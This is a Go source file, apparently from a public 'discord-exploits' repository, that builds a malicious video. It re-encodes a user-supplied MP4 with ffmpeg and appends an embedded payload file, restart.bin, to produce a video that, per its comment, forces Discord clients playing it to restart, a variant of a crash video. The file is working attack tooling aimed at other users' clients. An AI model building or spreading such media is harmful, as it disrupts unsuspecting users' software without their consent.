discord-exploits/exploits/restart-video.go
2021-05-19 00:29:16 -07:00

46 lines
1.3 KiB
Go

package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"time"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed restart.bin
var restartBin []byte
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
func RunRestartVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
// prevent duplicate id
time.Sleep(time.Millisecond * 1)
reencode := modules.CreateName("mp4")
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
err := cmd.Run()
modules.Check(err)
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, restartBin, 0777)
modules.Check(err)
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
err = os.Remove(reencode)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}